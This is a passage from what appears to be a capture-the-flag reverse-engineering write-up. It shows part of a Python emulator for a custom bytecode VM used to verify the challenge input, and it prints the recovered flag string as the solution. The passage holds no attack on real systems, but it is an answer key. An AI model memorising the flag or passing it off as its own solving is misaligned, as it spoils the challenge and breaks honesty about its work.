            tgt=rd32(pc); pc+=4
            if regs[r1] != regs[r2]: pc=tgt
        elif op==0x60:
            r=code[pc]&7; pc+=1
            idx=rd32(pc); pc+=4
            regs[r]=table_bytes[idx]
        elif op==0x70:
            break
        else:
            break
    return regs, pc, steps

regs, pc, steps = run_vm(bytearray(code_path.read_bytes()), flag_bytes)
print("VM verification -> regs[1]==0x69696969:", hex(regs[1])=="0x69696969")

# Recovered string: 5up3r_dup3r_345y_vm_r3v
# VM verification -> regs[1]==0x69696969: True

Last updated

Was this helpful?